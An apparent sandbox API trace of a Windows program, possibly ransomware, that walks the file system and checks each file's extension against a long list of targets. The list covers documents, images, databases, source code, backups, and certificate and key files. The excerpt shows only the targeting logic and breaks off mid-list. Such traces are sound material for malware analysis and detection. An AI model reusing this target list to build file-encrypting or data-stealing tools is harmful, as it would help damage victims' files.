	[0167.330] FindNextFileW (in: hFindFile=0x6ac098, lpFindFileData=0x350f800 | out: lpFindFileData=0x350f800*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc487a0b9, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xc487a0b9, ftLastAccessTime.dwHighDateTime=0x1d32764, ftLastWriteTime.dwLowDateTime=0x209bac02, ftLastWriteTime.dwHighDateTime=0x1d112e3, nFileSizeHigh=0x0, nFileSizeLow=0x12560, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 1
	[0167.330] lstrlenW (lpString="bootmgr.exe.mui") returned 15
	[0167.330] lstrlenW (lpString=".1cd") returned 4
	[0167.330] lstrcmpiW (lpString1=".1cd", lpString2=".mui") returned -1
	[0167.330] lstrlenW (lpString=".3ds") returned 4
	[0167.330] lstrcmpiW (lpString1=".3ds", lpString2=".mui") returned -1
	[0167.330] lstrlenW (lpString=".3fr") returned 4
	[0167.330] lstrcmpiW (lpString1=".3fr", lpString2=".mui") returned -1
	[0167.330] lstrlenW (lpString=".3g2") returned 4
	[0167.330] lstrcmpiW (lpString1=".3g2", lpString2=".mui") returned -1
	[0167.330] lstrlenW (lpString=".3gp") returned 4
	[0167.330] lstrcmpiW (lpString1=".3gp", lpString2=".mui") returned -1
	[0167.330] lstrlenW (lpString=".7z") returned 3
	[0167.330] lstrcmpiW (lpString1=".7z", lpString2="mui") returned -1
	[0167.330] lstrlenW (lpString=".accda") returned 6
	[0167.331] lstrcmpiW (lpString1=".accda", lpString2="xe.mui") returned -1
	[0167.331] lstrlenW (lpString=".accdb") returned 6
	[0167.331] lstrcmpiW (lpString1=".accdb", lpString2="xe.mui") returned -1
	[0167.331] lstrlenW (lpString=".accdc") returned 6
	[0167.331] lstrcmpiW (lpString1=".accdc", lpString2="xe.mui") returned -1
	[0167.331] lstrlenW (lpString=".accde") returned 6
	[0167.331] lstrcmpiW (lpString1=".accde", lpString2="xe.mui") returned -1
	[0167.331] lstrlenW (lpString=".accdt") returned 6
	[0167.331] lstrcmpiW (lpString1=".accdt", lpString2="xe.mui") returned -1
	[0167.331] lstrlenW (lpString=".accdw") returned 6
	[0167.331] lstrcmpiW (lpString1=".accdw", lpString2="xe.mui") returned -1
	[0167.331] lstrlenW (lpString=".adb") returned 4
	[0167.331] lstrcmpiW (lpString1=".adb", lpString2=".mui") returned -1
	[0167.331] lstrlenW (lpString=".adp") returned 4
	[0167.331] lstrcmpiW (lpString1=".adp", lpString2=".mui") returned -1
	[0167.331] lstrlenW (lpString=".ai") returned 3
	[0167.331] lstrcmpiW (lpString1=".ai", lpString2="mui") returned -1
	[0167.331] lstrlenW (lpString=".ai3") returned 4
	[0167.331] lstrcmpiW (lpString1=".ai3", lpString2=".mui") returned -1
	[0167.331] lstrlenW (lpString=".ai4") returned 4
	[0167.331] lstrcmpiW (lpString1=".ai4", lpString2=".mui") returned -1
	[0167.331] lstrlenW (lpString=".ai5") returned 4
	[0167.331] lstrcmpiW (lpString1=".ai5", lpString2=".mui") returned -1
	[0167.331] lstrlenW (lpString=".ai6") returned 4
	[0167.331] lstrcmpiW (lpString1=".ai6", lpString2=".mui") returned -1
	[0167.331] lstrlenW (lpString=".ai7") returned 4
	[0167.331] lstrcmpiW (lpString1=".ai7", lpString2=".mui") returned -1
	[0167.331] lstrlenW (lpString=".ai8") returned 4
	[0167.331] lstrcmpiW (lpString1=".ai8", lpString2=".mui") returned -1
	[0167.331] lstrlenW (lpString=".anim") returned 5
	[0167.331] lstrcmpiW (lpString1=".anim", lpString2="e.mui") returned -1
	[0167.331] lstrlenW (lpString=".arw") returned 4
	[0167.332] lstrcmpiW (lpString1=".arw", lpString2=".mui") returned -1
	[0167.332] lstrlenW (lpString=".as") returned 3
	[0167.332] lstrcmpiW (lpString1=".as", lpString2="mui") returned -1
	[0167.332] lstrlenW (lpString=".asa") returned 4
	[0167.332] lstrcmpiW (lpString1=".asa", lpString2=".mui") returned -1
	[0167.332] lstrlenW (lpString=".asc") returned 4
	[0167.332] lstrcmpiW (lpString1=".asc", lpString2=".mui") returned -1
	[0167.332] lstrlenW (lpString=".ascx") returned 5
	[0167.332] lstrcmpiW (lpString1=".ascx", lpString2="e.mui") returned -1
	[0167.332] lstrlenW (lpString=".asm") returned 4
	[0167.332] lstrcmpiW (lpString1=".asm", lpString2=".mui") returned -1
	[0167.332] lstrlenW (lpString=".asmx") returned 5
	[0167.332] lstrcmpiW (lpString1=".asmx", lpString2="e.mui") returned -1
	[0167.332] lstrlenW (lpString=".asp") returned 4
	[0167.332] lstrcmpiW (lpString1=".asp", lpString2=".mui") returned -1
	[0167.332] lstrlenW (lpString=".aspx") returned 5
	[0167.332] lstrcmpiW (lpString1=".aspx", lpString2="e.mui") returned -1
	[0167.332] lstrlenW (lpString=".asr") returned 4
	[0167.332] lstrcmpiW (lpString1=".asr", lpString2=".mui") returned -1
	[0167.332] lstrlenW (lpString=".asx") returned 4
	[0167.332] lstrcmpiW (lpString1=".asx", lpString2=".mui") returned -1
	[0167.332] lstrlenW (lpString=".avi") returned 4
	[0167.332] lstrcmpiW (lpString1=".avi", lpString2=".mui") returned -1
	[0167.332] lstrlenW (lpString=".avs") returned 4
	[0167.332] lstrcmpiW (lpString1=".avs", lpString2=".mui") returned -1
	[0167.332] lstrlenW (lpString=".backup") returned 7
	[0167.332] lstrcmpiW (lpString1=".backup", lpString2="exe.mui") returned -1
	[0167.332] lstrlenW (lpString=".bak") returned 4
	[0167.332] lstrcmpiW (lpString1=".bak", lpString2=".mui") returned -1
	[0167.332] lstrlenW (lpString=".bay") returned 4
	[0167.332] lstrcmpiW (lpString1=".bay", lpString2=".mui") returned -1
	[0167.333] lstrlenW (lpString=".bd") returned 3
	[0167.333] lstrcmpiW (lpString1=".bd", lpString2="mui") returned -1
	[0167.333] lstrlenW (lpString=".bin") returned 4
	[0167.333] lstrcmpiW (lpString1=".bin", lpString2=".mui") returned -1
	[0167.333] lstrlenW (lpString=".bmp") returned 4
	[0167.333] lstrcmpiW (lpString1=".bmp", lpString2=".mui") returned -1
	[0167.333] lstrlenW (lpString=".bz2") returned 4
	[0167.333] lstrcmpiW (lpString1=".bz2", lpString2=".mui") returned -1
	[0167.333] lstrlenW (lpString=".c") returned 2
	[0167.333] lstrcmpiW (lpString1=".c", lpString2="ui") returned -1
	[0167.333] lstrlenW (lpString=".cdr") returned 4
	[0167.333] lstrcmpiW (lpString1=".cdr", lpString2=".mui") returned -1
	[0167.333] lstrlenW (lpString=".cer") returned 4
	[0167.333] lstrcmpiW (lpString1=".cer", lpString2=".mui") returned -1
	[0167.333] lstrlenW (lpString=".cf") returned 3
	[0167.333] lstrcmpiW (lpString1=".cf", lpString2="mui") returned -1
	[0167.333] lstrlenW (lpString=".cfc") returned 4
	[0167.333] lstrcmpiW (lpString1=".cfc", lpString2=".mui") returned -1
	[0167.333] lstrlenW (lpString=".cfm") returned 4
	[0167.333] lstrcmpiW (lpString1=".cfm", lpString2=".mui") returned -1
	[0167.333] lstrlenW (lpString=".cfml") returned 5
	[0167.333] lstrcmpiW (lpString1=".cfml", lpString2="e.mui") returned -1
	[0167.333] lstrlenW (lpString=".cfu") returned 4
	[0167.333] lstrcmpiW (lpString1=".cfu", lpString2=".mui") returned -1
	[0167.333] lstrlenW (lpString=".chm") returned 4
	[0167.333] lstrcmpiW (lpString1=".chm", lpString2=".mui") returned -1
	[0167.333] lstrlenW (lpString=".cin") returned 4
	[0167.333] lstrcmpiW (lpString1=".cin", lpString2=".mui") returned -1
	[0167.333] lstrlenW (lpString=".class") returned 6
	[0167.333] lstrcmpiW (lpString1=".class", lpString2="xe.mui") returned -1
	[0167.333] lstrlenW (lpString=".clx") returned 4
	[0167.333] lstrcmpiW (lpString1=".clx", lpString2=".mui") returned -1
	[0167.334] lstrlenW (lpString=".config") returned 7
	[0167.334] lstrcmpiW (lpString1=".config", lpString2="exe.mui") returned -1
	[0167.334] lstrlenW (lpString=".cpp") returned 4
	[0167.334] lstrcmpiW (lpString1=".cpp", lpString2=".mui") returned -1
	[0167.334] lstrlenW (lpString=".cr2") returned 4
	[0167.334] lstrcmpiW (lpString1=".cr2", lpString2=".mui") returned -1
	[0167.334] lstrlenW (lpString=".crt") returned 4
	[0167.334] lstrcmpiW (lpString1=".crt", lpString2=".mui") returned -1
	[0167.334] lstrlenW (lpString=".crw") returned 4
	[0167.334] lstrcmpiW (lpString1=".crw", lpString2=".mui") returned -1
	[0167.334] lstrlenW (lpString=".cs") returned 3
	[0167.334] lstrcmpiW (lpString1=".cs", lpString2="mui") returned -1
	[0167.334] lstrlenW (lpString=".css") returned 4
	[0167.334] lstrcmpiW (lpString1=".css", lpString2=".mui") returned -1
	[0167.334] lstrlenW (lpString=".csv") returned 4
	[0167.334] lstrcmpiW (lpString1=".csv", lpString2=".mui") returned -1
	[0167.334] lstrlenW (lpString=".cub") returned 4
	[0167.334] lstrcmpiW (lpString1=".cub", lpString2=".mui") returned -1
	[0167.334] lstrlenW (lpString=".dae") returned 4
	[0167.334] lstrcmpiW (lpString1=".dae", lpString2=".mui") returned -1
	[0167.334] lstrlenW (lpString=".dat") returned 4
	[0167.334] lstrcmpiW (lpString1=".dat", lpString2=".mui") returned -1
	[0167.334] lstrlenW (lpString=".db") returned 3
	[0167.334] lstrcmpiW (lpString1=".db", lpString2="mui") returned -1
	[0167.334] lstrlenW (lpString=".dbf") returned 4
	[0167.334] lstrcmpiW (lpString1=".dbf", lpString2=".mui") returned -1
	[0167.334] lstrlenW (lpString=".dbx") returned 4
	[0167.334] lstrcmpiW (lpString1=".dbx", lpString2=".mui") returned -1
	[0167.334] lstrlenW (lpString=".dc3") returned 4
	[0167.334] lstrcmpiW (lpString1=".dc3", lpString2=".mui") returned -1
	[0167.334] lstrlenW (lpString=".dcm") returned 4
	[0167.334] lstrcmpiW (lpString1=".dcm", lpString2=".mui") returned -1
	[0167.335] lstrlenW (lpString=".dcr") returned 4
	[0167.335] lstrcmpiW (lpString1=".dcr", lpString2=".mui") returned -1
	[0167.335] lstrlenW (lpString=".der") returned 4
	[0167.335] lstrcmpiW (lpString1=".der", lpString2=".mui") returned -1
	[0167.335] lstrlenW (lpString=".dib") returned 4
	[0167.335] lstrcmpiW (lpString1=".dib", lpString2=".mui") returned -1
	[0167.335] lstrlenW (lpString=".dic") returned 4
	[0167.335] lstrcmpiW (lpString1=".dic", lpString2=".mui") returned -1
	[0167.335] lstrlenW (lpString=".dif") returned 4
	[0167.335] lstrcmpiW (lpString1=".dif", lpString2=".mui") returned -1
	[0167.335] lstrlenW (lpString=".divx") returned 5
	[0167.335] lstrcmpiW (lpString1=".divx", lpString2="e.mui") returned -1
	[0167.335] lstrlenW (lpString=".djvu") returned 5
	[0167.335] lstrcmpiW (lpString1=".djvu", lpString2="e.mui") returned -1
	[0167.335] lstrlenW (lpString=".dng") returned 4
	[0167.335] lstrcmpiW (lpString1=".dng", lpString2=".mui") returned -1
	[0167.335] lstrlenW (lpString=".doc") returned 4
	[0167.335] lstrcmpiW (lpString1=".doc", lpString2=".mui") returned -1
	[0167.335] lstrlenW (lpString=".docm") returned 5
	[0167.335] lstrcmpiW (lpString1=".docm", lpString2="e.mui") returned -1
	[0167.335] lstrlenW (lpString=".docx") returned 5
	[0167.335] lstrcmpiW (lpString1=".docx", lpString2="e.mui") returned -1
	[0167.335] lstrlenW (lpString=".dot") returned 4
	[0167.335] lstrcmpiW (lpString1=".dot", lpString2=".mui") returned -1
	[0167.335] lstrlenW (lpString=".dotm") returned 5
	[0167.335] lstrcmpiW (lpString1=".dotm", lpString2="e.mui") returned -1
	[0167.335] lstrlenW (lpString=".dotx") returned 5
	[0167.335] lstrcmpiW (lpString1=".dotx", lpString2="e.mui") returned -1
	[0167.335] lstrlenW (lpString=".dpx") returned 4
	[0167.335] lstrcmpiW (lpString1=".dpx", lpString2=".mui") returned -1
	[0167.335] lstrlenW (lpString=".dqy") returned 4
	[0167.336] lstrcmpiW (lpString1=".dqy", lpString2=".mui") returned -1
	[0167.336] lstrlenW (lpString=".dsn") returned 4
	[0167.336] lstrcmpiW (lpString1=".dsn", lpString2=".mui") returned -1
	[0167.336] lstrlenW (lpString=".dt") returned 3
	[0167.336] lstrcmpiW (lpString1=".dt", lpString2="mui") returned -1
	[0167.336] lstrlenW (lpString=".dtd") returned 4
	[0167.336] lstrcmpiW (lpString1=".dtd", lpString2=".mui") returned -1
	[0167.336] lstrlenW (lpString=".dwg") returned 4
	[0167.336] lstrcmpiW (lpString1=".dwg", lpString2=".mui") returned -1
	[0167.336] lstrlenW (lpString=".dwt") returned 4
	[0167.336] lstrcmpiW (lpString1=".dwt", lpString2=".mui") returned -1
	[0167.336] lstrlenW (lpString=".dx") returned 3
	[0167.336] lstrcmpiW (lpString1=".dx", lpString2="mui") returned -1
	[0167.336] lstrlenW (lpString=".dxf") returned 4
	[0167.336] lstrcmpiW (lpString1=".dxf", lpString2=".mui") returned -1
	[0167.336] lstrlenW (lpString=".edml") returned 5
	[0167.336] lstrcmpiW (lpString1=".edml", lpString2="e.mui") returned -1
	[0167.336] lstrlenW (lpString=".efd") returned 4
	[0167.336] lstrcmpiW (lpString1=".efd", lpString2=".mui") returned -1
	[0167.336] lstrlenW (lpString=".elf") returned 4
	[0167.336] lstrcmpiW (lpString1=".elf", lpString2=".mui") returned -1
	[0167.336] lstrlenW (lpString=".emf") returned 4
	[0167.336] lstrcmpiW (lpString1=".emf", lpString2=".mui") returned -1
	[0167.336] lstrlenW (lpString=".emz") returned 4
	[0167.336] lstrcmpiW (lpString1=".emz", lpString2=".mui") returned -1
	[0167.336] lstrlenW (lpString=".epf") returned 4
	[0167.336] lstrcmpiW (lpString1=".epf", lpString2=".mui") returned -1
	[0167.336] lstrlenW (lpString=".eps") returned 4
	[0167.336] lstrcmpiW (lpString1=".eps", lpString2=".mui") returned -1
	[0167.336] lstrlenW (lpString=".epsf") returned 5
	[0167.336] lstrcmpiW (lpString1=".epsf", lpString2="e.mui") returned -1
	[0167.336] lstrlenW (lpString=".epsp") returned 5
	[0167.337] lstrcmpiW (lpString1=".epsp", lpString2="e.mui") returned -1
	[0167.337] lstrlenW (lpString=".erf") returned 4
	[0167.337] lstrcmpiW (lpString1=".erf", lpString2=".mui") returned -1
	[0167.337] lstrlenW (lpString=".exr") returned 4
	[0167.337] lstrcmpiW (lpString1=".exr", lpString2=".mui") returned -1
	[0167.337] lstrlenW (lpString=".f4v") returned 4
	[0167.337] lstrcmpiW (lpString1=".f4v", lpString2=".mui") returned -1
	[0167.337] lstrlenW (lpString=".fido") returned 5
	[0167.337] lstrcmpiW (lpString1=".fido", lpString2="e.mui") returned -1
	[0167.337] lstrlenW (lpString=".flm") returned 4
	[0167.337] lstrcmpiW (lpString1=".flm", lpString2=".mui") returned -1
	[0167.337] lstrlenW (lpString=".flv") returned 4
	[0167.337] lstrcmpiW (lpString1=".flv", lpString2=".mui") returned -1
	[0167.337] lstrlenW (lpString=".frm") returned 4
	[0167.337] lstrcmpiW (lpString1=".frm", lpString2=".mui") returned -1
	[0167.337] lstrlenW (lpString=".fxg") returned 4
	[0167.337] lstrcmpiW (lpString1=".fxg", lpString2=".mui") returned -1
	[0167.337] lstrlenW (lpString=".geo") returned 4
	[0167.337] lstrcmpiW (lpString1=".geo", lpString2=".mui") returned -1
	[0167.337] lstrlenW (lpString=".gif") returned 4
	[0167.337] lstrcmpiW (lpString1=".gif", lpString2=".mui") returned -1
	[0167.337] lstrlenW (lpString=".grs") returned 4
	[0167.337] lstrcmpiW (lpString1=".grs", lpString2=".mui") returned -1
	[0167.337] lstrlenW (lpString=".gz") returned 3
	[0167.337] lstrcmpiW (lpString1=".gz", lpString2="mui") returned -1
	[0167.337] lstrlenW (lpString=".h") returned 2
	[0167.337] lstrcmpiW (lpString1=".h", lpString2="ui") returned -1
	[0167.337] lstrlenW (lpString=".hdr") returned 4
	[0167.337] lstrcmpiW (lpString1=".hdr", lpString2=".mui") returned -1
	[0167.337] lstrlenW (lpString=".hpp") returned 4
	[0167.337] lstrcmpiW (lpString1=".hpp", lpString2=".mui") returned -1
	[0167.338] lstrlenW (lpString=".hta") returned 4
	[0167.338] lstrcmpiW (lpString1=".hta", lpString2=".mui") returned -1
	[0167.338] lstrlenW (lpString=".htc") returned 4
	[0167.338] lstrcmpiW (lpString1=".htc", lpString2=".mui") returned -1
	[0167.338] lstrlenW (lpString=".htm") returned 4
	[0167.338] lstrcmpiW (lpString1=".htm", lpString2=".mui") returned -1
	[0167.338] lstrlenW (lpString=".html") returned 5
	[0167.338] lstrcmpiW (lpString1=".html", lpString2="e.mui") returned -1
	[0167.338] lstrlenW (lpString=".icb") returned 4
	[0167.338] lstrcmpiW (lpString1=".icb", lpString2=".mui") returned -1
	[0167.338] lstrlenW (lpString=".ics") returned 4
	[0167.338] lstrcmpiW (lpString1=".ics", lpString2=".mui") returned -1
	[0167.338] lstrlenW (lpString=".iff") returned 4
	[0167.338] lstrcmpiW (lpString1=".iff", lpString2=".mui") returned -1
	[0167.338] lstrlenW (lpString=".inc") returned 4
	[0167.338] lstrcmpiW (lpString1=".inc", lpString2=".mui") returned -1
	[0167.338] lstrlenW (lpString=".indd") returned 5
	[0167.338] lstrcmpiW (lpString1=".indd", lpString2="e.mui") returned -1
	[0167.338] lstrlenW (lpString=".ini") returned 4
	[0167.338] lstrcmpiW (lpString1=".ini", lpString2=".mui") returned -1
	[0167.338] lstrlenW (lpString=".iqy") returned 4
	[0167.338] lstrcmpiW (lpString1=".iqy", lpString2=".mui") returned -1
	[0167.338] lstrlenW (lpString=".j2c") returned 4
	[0167.338] lstrcmpiW (lpString1=".j2c", lpString2=".mui") returned -1
	[0167.338] lstrlenW (lpString=".j2k") returned 4
	[0167.338] lstrcmpiW (lpString1=".j2k", lpString2=".mui") returned -1
	[0167.338] lstrlenW (lpString=".java") returned 5
	[0167.338] lstrcmpiW (lpString1=".java", lpString2="e.mui") returned -1
	[0167.338] lstrlenW (lpString=".jp2") returned 4
	[0167.338] lstrcmpiW (lpString1=".jp2", lpString2=".mui") returned -1
	[0167.338] lstrlenW (lpString=".jpc") returned 4
	[0167.338] lstrcmpiW (lpString1=".jpc", lpString2=".mui") returned -1
	[0167.339] lstrlenW (lpString=".jpe") returned 4
	[0167.339] lstrcmpiW (lpString1=".jpe", lpString2=".mui") returned -1
	[0167.339] lstrlenW (lpString=".jpeg") returned 5
	[0167.339] lstrcmpiW (lpString1=".jpeg", lpString2="e.mui") returned -1
	[0167.339] lstrlenW (lpString=".jpf") returned 4
	[0167.339] lstrcmpiW (lpString1=".jpf", lpString2=".mui") returned -1
	[0167.339] lstrlenW (lpString=".jpg") returned 4
	[0167.339] lstrcmpiW (lpString1=".jpg", lpString2=".mui") returned -1
	[0167.339] lstrlenW (lpString=".jpx") returned 4
	[0167.339] lstrcmpiW (lpString1=".jpx", lpString2=".mui") returned -1
	[0167.339] lstrlenW (lpString=".js") returned 3
	[0167.339] lstrcmpiW (lpString1=".js", lpString2="mui") returned -1
	[0167.339] lstrlenW (lpString=".jsf") returned 4
	[0167.339] lstrcmpiW (lpString1=".jsf", lpString2=".mui") returned -1
	[0167.339] lstrlenW (lpString=".json") returned 5
	[0167.339] lstrcmpiW (lpString1=".json", lpString2="e.mui") returned -1
	[0167.339] lstrlenW (lpString=".jsp") returned 4
	[0167.339] lstrcmpiW (lpString1=".jsp", lpString2=".mui") returned -1
	[0167.339] lstrlenW (lpString=".kdc") returned 4
	[0167.339] lstrcmpiW (lpString1=".kdc", lpString2=".mui") returned -1
	[0167.339] lstrlenW (lpString=".kmz") returned 4
	[0167.339] lstrcmpiW (lpString1=".kmz", lpString2=".mui") returned -1
	[0167.339] lstrlenW (lpString=".kwm") returned 4
	[0167.339] lstrcmpiW (lpString1=".kwm", lpString2=".mui") returned -1
	[0167.339] lstrlenW (lpString=".lasso") returned 6
	[0167.339] lstrcmpiW (lpString1=".lasso", lpString2="xe.mui") returned -1
	[0167.339] lstrlenW (lpString=".lbi") returned 4
	[0167.339] lstrcmpiW (lpString1=".lbi", lpString2=".mui") returned -1
	[0167.339] lstrlenW (lpString=".lgf") returned 4
	[0167.339] lstrcmpiW (lpString1=".lgf", lpString2=".mui") returned -1
	[0167.339] lstrlenW (lpString=".lgp") returned 4
	[0167.340] lstrcmpiW (lpString1=".lgp", lpString2=".mui") returned -1
	[0167.340] lstrlenW (lpString=".log") returned 4
	[0167.340] lstrcmpiW (lpString1=".log", lpString2=".mui") returned -1
	[0167.340] lstrlenW (lpString=".m1v") returned 4
	[0167.340] lstrcmpiW (lpString1=".m1v", lpString2=".mui") returned -1
	[0167.340] lstrlenW (lpString=".m4a") returned 4
	[0167.340] lstrcmpiW (lpString1=".m4a", lpString2=".mui") returned -1
	[0167.340] lstrlenW (lpString=".m4v") returned 4
	[0167.340] lstrcmpiW (lpString1=".m4v", lpString2=".mui") returned -1
	[0167.340] lstrlenW (lpString=".max") returned 4
	[0167.340] lstrcmpiW (lpString1=".max", lpString2=".mui") returned -1
	[0167.340] lstrlenW (lpString=".md") returned 3
	[0167.340] lstrcmpiW (lpString1=".md", lpString2="mui") returned -1
	[0167.340] lstrlenW (lpString=".mda") returned 4
	[0167.340] lstrcmpiW (lpString1=".mda", lpString2=".mui") returned -1
	[0167.340] lstrlenW (lpString=".mdb") returned 4
	[0167.340] lstrcmpiW (lpString1=".mdb", lpString2=".mui") returned -1
	[0167.340] lstrlenW (lpString=".mde") returned 4
	[0167.340] lstrcmpiW (lpString1=".mde", lpString2=".mui") returned -1
	[0167.340] lstrlenW (lpString=".mdf") returned 4
	[0167.340] lstrcmpiW (lpString1=".mdf", lpString2=".mui") returned -1
	[0167.340] lstrlenW (lpString=".mdw") returned 4
	[0167.340] lstrcmpiW (lpString1=".mdw", lpString2=".mui") returned -1
	[0167.340] lstrlenW (lpString=".mef") returned 4
	[0167.340] lstrcmpiW (lpString1=".mef", lpString2=".mui") returned -1
	[0167.340] lstrlenW (lpString=".mft") returned 4
	[0167.341] lstrcmpiW (lpString1=".mft", lpString2=".mui") returned -1
	[0167.341] lstrlenW (lpString=".mfw") returned 4
	[0167.341] lstrcmpiW (lpString1=".mfw", lpString2=".mui") returned -1
	[0167.341] lstrlenW (lpString=".mht") returned 4
	[0167.341] lstrcmpiW (lpString1=".mht", lpString2=".mui") returned -1
	[0167.341] lstrlenW (lpString=".mhtml") returned 6
	[0167.341] lstrcmpiW (lpString1=".mhtml", lpString2="xe.mui") returned -1
	[0167.341] lstrlenW (lpString=".mka") returned 4
	[0167.341] lstrcmpiW (lpString1=".mka", lpString2=".mui") returned -1
	[0167.341] lstrlenW (lpString=".mkidx") returned 6
	[0167.341] lstrcmpiW (lpString1=".mkidx", lpString2="xe.mui") returned -1
	[0167.341] lstrlenW (lpString=".mkv") returned 4
	[0167.341] lstrcmpiW (lpString1=".mkv", lpString2=".mui") returned -1
	[0167.341] lstrlenW (lpString=".mos") returned 4
	[0167.341] lstrcmpiW (lpString1=".mos", lpString2=".mui") returned -1
	[0167.341] lstrlenW (lpString=".mov") returned 4
	[0167.341] lstrcmpiW (lpString1=".mov", lpString2=".mui") returned -1
	[0167.341] lstrlenW (lpString=".mp3") returned 4
	[0167.341] lstrcmpiW (lpString1=".mp3", lpString2=".mui") returned -1
	[0167.341] lstrlenW (lpString=".mp4") returned 4
	[0167.341] lstrcmpiW (lpString1=".mp4", lpString2=".mui") returned -1
	[0167.341] lstrlenW (lpString=".mpeg") returned 5
	[0167.341] lstrcmpiW (lpString1=".mpeg", lpString2="e.mui") returned -1
	[0167.341] lstrlenW (lpString=".mpg") returned 4
	[0167.341] lstrcmpiW (lpString1=".mpg", lpString2=".mui") returned -1
	[0167.341] lstrlenW (lpString=".mpv") returned 4
	[0167.341] lstrcmpiW (lpString1=".mpv", lpString2=".mui") returned -1
	[0167.341] lstrlenW (lpString=".mrw") returned 4
	[0167.341] lstrcmpiW (lpString1=".mrw", lpString2=".mui") returned -1
	[0167.341] lstrlenW (lpString=".msg") returned 4
	[0167.341] lstrcmpiW (lpString1=".msg", lpString2=".mui") returned -1
	[0167.341] lstrlenW (lpString=".mxl") returned 4
	[0167.341] lstrcmpiW (lpString1=".mxl", lpString2=".mui") returned 1
	[0167.342] lstrlenW (lpString=".myd") returned 4
	[0167.342] lstrcmpiW (lpString1=".myd", lpString2=".mui") returned 1
	[0167.342] lstrlenW (lpString=".myi") returned 4
	[0167.342] lstrcmpiW (lpString1=".myi", lpString2=".mui") returned 1
	[0167.342] lstrlenW (lpString=".nef") returned 4
	[0167.342] lstrcmpiW (lpString1=".nef", lpString2=".mui") returned 1
	[0167.342] lstrlenW (lpString=".nrw") returned 4
	[0167.342] lstrcmpiW (lpString1=".nrw", lpString2=".mui") returned 1
	[0167.342] lstrlenW (lpString=".obj") returned 4
	[0167.342] lstrcmpiW (lpString1=".obj", lpString2=".mui") returned 1
	[0167.342] lstrlenW (lpString=".odb") returned 4
	[0167.342] lstrcmpiW (lpString1=".odb", lpString2=".mui") returned 1
	[0167.342] lstrlenW (lpString=".odc") returned 4
	[0167.342] lstrcmpiW (lpString1=".odc", lpString2=".mui") returned 1
	[0167.342] lstrlenW (lpString=".odm") returned 4
	[0167.342] lstrcmpiW (lpString1=".odm", lpString2=".mui") returned 1
	[0167.342] lstrlenW (lpString=".odp") returned 4
	[0167.342] lstrcmpiW (lpString1=".odp", lpString2=".mui") returned 1
	[0167.342] lstrlenW (lpString=".ods") returned 4
	[0167.342] lstrcmpiW (lpString1=".ods", lpString2=".mui") returned 1
	[0167.342] lstrlenW (lpString=".oft") returned 4
	[0167.342] lstrcmpiW (lpString1=".oft", lpString2=".mui") returned 1
	[0167.342] lstrlenW (lpString=".one") returned 4
	[0167.342] lstrcmpiW (lpString1=".one", lpString2=".mui") returned 1
	[0167.342] lstrlenW (lpString=".onepkg") returned 7
	[0167.342] lstrcmpiW (lpString1=".onepkg", lpString2="exe.mui") returned -1
	[0167.342] lstrlenW (lpString=".onetoc2") returned 8
	[0167.342] lstrcmpiW (lpString1=".onetoc2", lpString2=".exe.mui") returned 1
	[0167.342] lstrlenW (lpString=".opt") returned 4
	[0167.342] lstrcmpiW (lpString1=".opt", lpString2=".mui") returned 1
	[0167.342] lstrlenW (lpString=".oqy") returned 4
	[0167.342] lstrcmpiW (lpString1=".oqy", lpString2=".mui") returned 1
	[0167.342] lstrlenW (lpString=".orf") returned 4
	[0167.343] lstrcmpiW (lpString1=".orf", lpString2=".mui") returned 1
	[0167.343] lstrlenW (lpString=".p12") returned 4
	[0167.343] lstrcmpiW (lpString1=".p12", lpString2=".mui") returned 1
	[0167.343] lstrlenW (lpString=".p7b") returned 4
	[0167.343] lstrcmpiW (lpString1=".p7b", lpString2=".mui") returned 1
	[0167.343] lstrlenW (lpString=".p7c") returned 4
	[0167.343] lstrcmpiW (lpString1=".p7c", lpString2=".mui") returned 1
	[0167.343] lstrlenW (lpString=".pam") returned 4
	[0167.343] lstrcmpiW (lpString1=".pam", lpString2=".mui") returned 1
	[0167.343] lstrlenW (lpString=".pbm") returned 4
	[0167.343] lstrcmpiW (lpString1=".pbm", lpString2=".mui") returned 1
	[0167.343] lstrlenW (lpString=".pct") returned 4
	[0167.343] lstrcmpiW (lpString1=".pct", lpString2=".mui") returned 1
	[0167.343] lstrlenW (lpString=".pcx") returned 4
	[0167.343] lstrcmpiW (lpString1=".pcx", lpString2=".mui") returned 1
	[0167.343] lstrlenW (lpString=".pdd") returned 4
	[0167.343] lstrcmpiW (lpString1=".pdd", lpString2=".mui") returned 1
	[0167.343] lstrlenW (lpString=".pdf") returned 4
	[0167.343] lstrcmpiW (lpString1=".pdf", lpString2=".mui") returned 1
	[0167.343] lstrlenW (lpString=".pdp") returned 4
	[0167.343] lstrcmpiW (lpString1=".pdp", lpString2=".mui") returned 1
	[0167.343] lstrlenW (lpString=".pef") returned 4
	[0167.343] lstrcmpiW (lpString1=".pef", lpString2=".mui") returned 1
	[0167.343] lstrlenW (lpString=".pem") returned 4
	[0167.343] lstrcmpiW (lpString1=".pem", lpString2=".mui") returned 1
	[0167.343] lstrlenW (lpString=".pff") returned 4
	[0167.343] lstrcmpiW (lpString1=".pff", lpString2=".mui") returned 1
	[0167.343] lstrlenW (lpString=".pfm") returned 4
	[0167.343] lstrcmpiW (lpString1=".pfm", lpString2=".mui") returned 1
	[0167.343] lstrlenW (lpString=".pfx") returned 4
	[0167.343] lstrcmpiW (lpString1=".pfx", lpString2=".mui") returned 1
	[0167.343] lstrlenW (lpString=".pgm") returned 4
	[0167.344] lstrcmpiW (lpString1=".pgm", lpString2=".mui") returned 1
	[0167.344] lstrlenW (lpString=".php") returned 4
	[0167.344] lstrcmpiW (lpString1=".php", lpString2=".mui") returned 1
	[0167.344] lstrlenW (lpString=".php3") returned 5
	[0167.344] lstrcmpiW (lpString1=".php3", lpString2="e.mui") returned -1
	[0167.344] lstrlenW (lpString=".php4") returned 5
	[0167.344] lstrcmpiW (lpString1=".php4", lpString2="e.mui") returned -1
	[0167.344] lstrlenW (lpString=".php5") returned 5
	[0167.344] lstrcmpiW (lpString1=".php5", lpString2="e.mui") returned -1
	[0167.344] lstrlenW (lpString=".phtml") returned 6
	[0167.344] lstrcmpiW (lpString1=".phtml", lpString2="xe.mui") returned -1
	[0167.344] lstrlenW (lpString=".pict") returned 5
	[0167.344] lstrcmpiW (lpString1=".pict", lpString2="e.mui") returned -1
	[0167.344] lstrlenW (lpString=".pl") returned 3
	[0167.344] lstrcmpiW (lpString1=".pl", lpString2="mui") returned -1
	[0167.344] lstrlenW (lpString=".pls") returned 4
